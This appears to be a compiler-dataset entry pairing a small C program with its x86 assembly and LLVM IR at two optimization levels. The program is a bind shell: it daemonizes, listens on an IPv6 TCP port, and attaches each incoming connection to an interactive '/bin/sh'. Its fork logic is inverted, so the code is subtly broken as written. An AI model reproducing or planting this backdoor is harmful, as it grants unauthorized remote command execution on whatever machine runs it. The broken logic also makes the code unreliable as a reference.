#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ tcp;
struct sockaddr_in6 {
  void *sin6_port;
  void *sin6_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ cli;

/* Variables and functions */
int AF_INET6;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, struct sockaddr *, unsigned int *);
scalar_t__ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, int /*<<< orphan*/);
int /*<<< orphan*/ exit(int);
int fork();
void *htons(int);
scalar_t__ listen(int, int);
int socket(int, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ wait4(int, int /*<<< orphan*/ *, int /*<<< orphan*/,
                         int /*<<< orphan*/);
int main(void) {
  char *cmd[] = {"/bin/sh", "-i", 0};
  struct sockaddr_in6 cli;
  struct sockaddr_in6 tcp;
  int sock = 0, sock_con = 0;
  unsigned int slen = sizeof(cli);
  unsigned char *ptr = (unsigned char *)&tcp;
  if (fork())
    exit(0);
  if ((sock = socket(AF_INET6, SOCK_STREAM, 0)) < 0) {
    exit(-1);
  }
  int i = 0;
  for (i = 0; i < sizeof(tcp); i++) {
    ptr[i] = 0;
  }
  tcp.sin6_family = htons(AF_INET6);
  tcp.sin6_port = htons(0x4141);
  char one = 1;
  if (bind(sock, (struct sockaddr *)&tcp, sizeof(tcp)) < 0) {
    exit(-1);
  }
  if (listen(sock, 1) < 0) {
    exit(-1);
  }
  while (1) {
    sock_con = accept(sock, (struct sockaddr *)&tcp, &slen);
    int pid = fork();
    if (pid) {
      dup2(sock_con, 0);
      dup2(sock_con, 1);
      dup2(sock_con, 2);
      execve(*cmd, cmd, 0);
      exit(0);
    }
    close(sock_con);
    wait4(-1, NULL, 0, 0);
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
movl   $0x0,-0x4(%rbp)
mov    0x2c2a(%rip),%rax
mov    %rax,-0x20(%rbp)
mov    0x2c27(%rip),%rax
mov    %rax,-0x18(%rbp)
mov    0x2c24(%rip),%rax
mov    %rax,-0x10(%rbp)
movl   $0x0,-0x44(%rbp)
movl   $0x0,-0x48(%rbp)
movl   $0x10,-0x4c(%rbp)
lea    -0x40(%rbp),%rax
mov    %rax,-0x58(%rbp)
mov    $0x0,%al
call   10c0 <fork@plt>
cmp    $0x0,%eax
je     1214 <main+0x64>
xor    %edi,%edi
call   10b0 <exit@plt>
mov    0x2dc5(%rip),%rax
mov    (%rax),%edi
mov    0x2dac(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10d0 <socket@plt>
mov    %eax,-0x44(%rbp)
cmp    $0x0,%eax
jge    1243 <main+0x93>
mov    $0xffffffff,%edi
call   10b0 <exit@plt>
movl   $0x0,-0x5c(%rbp)
movl   $0x0,-0x5c(%rbp)
movslq -0x5c(%rbp),%rax
cmp    $0x10,%rax
jae    1279 <main+0xc9>
mov    -0x58(%rbp),%rax
movslq -0x5c(%rbp),%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x5c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x5c(%rbp)
jmp    1251 <main+0xa1>
mov    0x2d60(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,-0x38(%rbp)
mov    $0x4141,%edi
call   1030 <htons@plt>
mov    %rax,-0x40(%rbp)
movb   $0x1,-0x5d(%rbp)
mov    -0x44(%rbp),%edi
lea    -0x40(%rbp),%rsi
mov    $0x10,%edx
call   1080 <bind@plt>
cmp    $0x0,%rax
jge    12c2 <main+0x112>
mov    $0xffffffff,%edi
call   10b0 <exit@plt>
mov    -0x44(%rbp),%edi
mov    $0x1,%esi
call   1070 <listen@plt>
cmp    $0x0,%rax
jge    12e3 <main+0x133>
mov    $0xffffffff,%edi
call   10b0 <exit@plt>
jmp    12e8 <main+0x138>
mov    -0x44(%rbp),%edi
lea    -0x40(%rbp),%rsi
lea    -0x4c(%rbp),%rdx
call   10a0 <accept@plt>
mov    %eax,-0x48(%rbp)
mov    $0x0,%al
call   10c0 <fork@plt>
mov    %eax,-0x64(%rbp)
cmpl   $0x0,-0x64(%rbp)
je     1349 <main+0x199>
mov    -0x48(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x48(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x48(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    -0x20(%rbp),%rdi
lea    -0x20(%rbp),%rsi
xor    %edx,%edx
call   1060 <execve@plt>
xor    %edi,%edi
call   10b0 <exit@plt>
mov    -0x48(%rbp),%edi
call   1050 <close@plt>
mov    $0xffffffff,%edi
xor    %eax,%eax
mov    %eax,%esi
xor    %ecx,%ecx
mov    %ecx,%edx
call   1090 <wait4@plt>
jmp    12e8 <main+0x138>

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x38,%rsp
mov    0x2c3f(%rip),%rax
mov    %rax,0x30(%rsp)
movaps 0x2c23(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
movl   $0x10,0xc(%rsp)
xor    %eax,%eax
call   10c0 <fork@plt>
test   %eax,%eax
jne    1253 <main+0xa3>
mov    0x2df4(%rip),%rbx
mov    (%rbx),%edi
mov    0x2ddb(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10d0 <socket@plt>
test   %eax,%eax
js     1249 <main+0x99>
mov    %eax,%r14d
mov    (%rbx),%edi
call   1030 <htons@plt>
mov    %rax,0x18(%rsp)
mov    $0x4141,%edi
call   1030 <htons@plt>
mov    %rax,0x10(%rsp)
lea    0x10(%rsp),%rsi
mov    %r14d,%edi
mov    $0x10,%edx
call   1080 <bind@plt>
test   %rax,%rax
js     1249 <main+0x99>
mov    %r14d,%edi
mov    $0x1,%esi
call   1070 <listen@plt>
test   %rax,%rax
jns    125a <main+0xaa>
mov    $0xffffffff,%edi
call   10b0 <exit@plt>
xor    %edi,%edi
call   10b0 <exit@plt>
lea    0x10(%rsp),%rsi
lea    0xc(%rsp),%rdx
mov    %r14d,%edi
call   10a0 <accept@plt>
mov    %eax,%ebp
xor    %eax,%eax
call   10c0 <fork@plt>
test   %eax,%eax
jne    12c2 <main+0x112>
lea    0x10(%rsp),%r15
lea    0xc(%rsp),%rbx
cs nopw 0x0(%rax,%rax,1)
nopl   (%rax)
mov    %ebp,%edi
call   1050 <close@plt>
mov    $0xffffffff,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
call   1090 <wait4@plt>
mov    %r14d,%edi
mov    %r15,%rsi
mov    %rbx,%rdx
call   10a0 <accept@plt>
mov    %eax,%ebp
xor    %eax,%eax
call   10c0 <fork@plt>
test   %eax,%eax
je     1290 <main+0xe0>
mov    %ebp,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebp,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebp,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xd16(%rip),%rdi
lea    0x20(%rsp),%rsi
xor    %edx,%edx
call   1060 <execve@plt>
xor    %edi,%edi
call   10b0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in6 = type { i8*, i8* }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@.str.1 = [3 x i8] c"-i\00"
@__const.main.cmd = [3 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i32 0, i32 0), i8* null]
@AF_INET6 = global i32 0
@SOCK_STREAM = global i32 0
define i32 @main() {
%1 = alloca i32
%2 = alloca [3 x i8*]
%3 = alloca %struct.sockaddr_in6
%4 = alloca %struct.sockaddr_in6
%5 = alloca i32
%6 = alloca i32
%7 = alloca i32
%8 = alloca i8*
%9 = alloca i32
%10 = alloca i8
%11 = alloca i32
store i32 0, i32* %1
%12 = bitcast [3 x i8*]* %2 to i8*
store i32 0, i32* %5
store i32 0, i32* %6
store i32 16, i32* %7
%13 = bitcast %struct.sockaddr_in6* %4 to i8*
store i8* %13, i8** %8
%14 = call i32 (...) @fork()
%15 = icmp ne i32 %14, 0
br i1 %15, label %16, label %18
16: ; preds = %0
%17 = call i32 @exit(i32 0)
unreachable
18: ; preds = %0
%19 = load i32, i32* @AF_INET6
%20 = load i32, i32* @SOCK_STREAM
%21 = call i32 @socket(i32 %19, i32 %20, i32 0)
store i32 %21, i32* %5
%22 = icmp slt i32 %21, 0
br i1 %22, label %23, label %25
23: ; preds = %18
%24 = call i32 @exit(i32 -1)
unreachable
25: ; preds = %18
store i32 0, i32* %9
store i32 0, i32* %9
br label %26
26: ; preds = %35, %25
%27 = load i32, i32* %9
%28 = sext i32 %27 to i64
%29 = icmp ult i64 %28, 16
br i1 %29, label %30, label %38
30: ; preds = %26
%31 = load i8*, i8** %8
%32 = load i32, i32* %9
%33 = sext i32 %32 to i64
%34 = getelementptr inbounds i8, i8* %31, i64 %33
store i8 0, i8* %34
br label %35
35: ; preds = %30
%36 = load i32, i32* %9
%37 = add nsw i32 %36, 1
store i32 %37, i32* %9
br label %26
38: ; preds = %26
%39 = load i32, i32* @AF_INET6
%40 = call i8* @htons(i32 %39)
%41 = getelementptr inbounds %struct.sockaddr_in6, %struct.sockaddr_in6* %4, i32 0, i32 1
store i8* %40, i8** %41
%42 = call i8* @htons(i32 16705)
%43 = getelementptr inbounds %struct.sockaddr_in6, %struct.sockaddr_in6* %4, i32 0, i32 0
store i8* %42, i8** %43
store i8 1, i8* %10
%44 = load i32, i32* %5
%45 = bitcast %struct.sockaddr_in6* %4 to %struct.sockaddr*
%46 = call i64 @bind(i32 %44, %struct.sockaddr* %45, i32 16)
%47 = icmp slt i64 %46, 0
br i1 %47, label %48, label %50
48: ; preds = %38
%49 = call i32 @exit(i32 -1)
unreachable
50: ; preds = %38
%51 = load i32, i32* %5
%52 = call i64 @listen(i32 %51, i32 1)
%53 = icmp slt i64 %52, 0
br i1 %53, label %54, label %56
54: ; preds = %50
%55 = call i32 @exit(i32 -1)
unreachable
56: ; preds = %50
br label %57
57: ; preds = %56, %76
%58 = load i32, i32* %5
%59 = bitcast %struct.sockaddr_in6* %4 to %struct.sockaddr*
%60 = call i32 @accept(i32 %58, %struct.sockaddr* %59, i32* %7)
store i32 %60, i32* %6
%61 = call i32 (...) @fork()
store i32 %61, i32* %11
%62 = load i32, i32* %11
%63 = icmp ne i32 %62, 0
br i1 %63, label %64, label %76
64: ; preds = %57
%65 = load i32, i32* %6
%66 = call i32 @dup2(i32 %65, i32 0)
%67 = load i32, i32* %6
%68 = call i32 @dup2(i32 %67, i32 1)
%69 = load i32, i32* %6
%70 = call i32 @dup2(i32 %69, i32 2)
%71 = getelementptr inbounds [3 x i8*], [3 x i8*]* %2, i64 0, i64 0
%72 = load i8*, i8** %71
%73 = getelementptr inbounds [3 x i8*], [3 x i8*]* %2, i64 0, i64 0
%74 = call i32 @execve(i8* %72, i8** %73, i32 0)
%75 = call i32 @exit(i32 0)
unreachable
76: ; preds = %57
%77 = load i32, i32* %6
%78 = call i32 @close(i32 %77)
%79 = call i32 @wait4(i32 -1, i32* null, i32 0, i32 0)
br label %57
}

LLVM IR (-O2):
%struct.sockaddr_in6 = type { i8*, i8* }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@.str.1 = [3 x i8] c"-i\00"
@__const.main.cmd = [3 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i32 0, i32 0), i8* null]
@AF_INET6 = global i32 0
@SOCK_STREAM = global i32 0
define i32 @main() {
%1 = alloca [3 x i8*]
%2 = alloca %struct.sockaddr_in6
%3 = bitcast %struct.sockaddr_in6* %2 to i8*
%4 = alloca i32
%5 = bitcast [3 x i8*]* %1 to i8*
%6 = bitcast i32* %4 to i8*
store i32 16, i32* %4
%7 = tail call i32 (...) @fork()
%8 = icmp eq i32 %7, 0
br i1 %8, label %11, label %9
9: ; preds = %0
%10 = tail call i32 @exit(i32 0)
unreachable
11: ; preds = %0
%12 = load i32, i32* @AF_INET6
%13 = load i32, i32* @SOCK_STREAM
%14 = tail call i32 @socket(i32 %12, i32 %13, i32 0)
%15 = icmp slt i32 %14, 0
br i1 %15, label %25, label %16
16: ; preds = %11
%17 = load i32, i32* @AF_INET6
%18 = tail call i8* @htons(i32 %17)
%19 = getelementptr inbounds %struct.sockaddr_in6, %struct.sockaddr_in6* %2, i64 0, i32 1
store i8* %18, i8** %19
%20 = tail call i8* @htons(i32 16705)
%21 = getelementptr inbounds %struct.sockaddr_in6, %struct.sockaddr_in6* %2, i64 0, i32 0
store i8* %20, i8** %21
%22 = bitcast %struct.sockaddr_in6* %2 to %struct.sockaddr*
%23 = call i64 @bind(i32 %14, %struct.sockaddr* %22, i32 16)
%24 = icmp slt i64 %23, 0
br i1 %24, label %27, label %29
25: ; preds = %11
%26 = tail call i32 @exit(i32 -1)
unreachable
27: ; preds = %16
%28 = call i32 @exit(i32 -1)
unreachable
29: ; preds = %16
%30 = call i64 @listen(i32 %14, i32 1)
%31 = icmp slt i64 %30, 0
br i1 %31, label %36, label %32
32: ; preds = %29
%33 = call i32 @accept(i32 %14, %struct.sockaddr* %22, i32* %4)
%34 = call i32 (...) @fork()
%35 = icmp eq i32 %34, 0
br i1 %35, label %46, label %38
36: ; preds = %29
%37 = call i32 @exit(i32 -1)
unreachable
38: ; preds = %46, %32
%39 = phi i32 [ %33, %32 ], [ %50, %46 ]
%40 = call i32 @dup2(i32 %39, i32 0)
%41 = call i32 @dup2(i32 %39, i32 1)
%42 = call i32 @dup2(i32 %39, i32 2)
%43 = getelementptr inbounds [3 x i8*], [3 x i8*]* %1, i64 0, i64 0
%44 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8** %43, i32 0)
%45 = call i32 @exit(i32 0)
unreachable
46: ; preds = %32, %46
%47 = phi i32 [ %50, %46 ], [ %33, %32 ]
%48 = call i32 @close(i32 %47)
%49 = call i32 @wait4(i32 -1, i32* null, i32 0, i32 0)
%50 = call i32 @accept(i32 %14, %struct.sockaddr* %22, i32* %4)
%51 = call i32 (...) @fork()
%52 = icmp eq i32 %51, 0
br i1 %52, label %46, label %38
}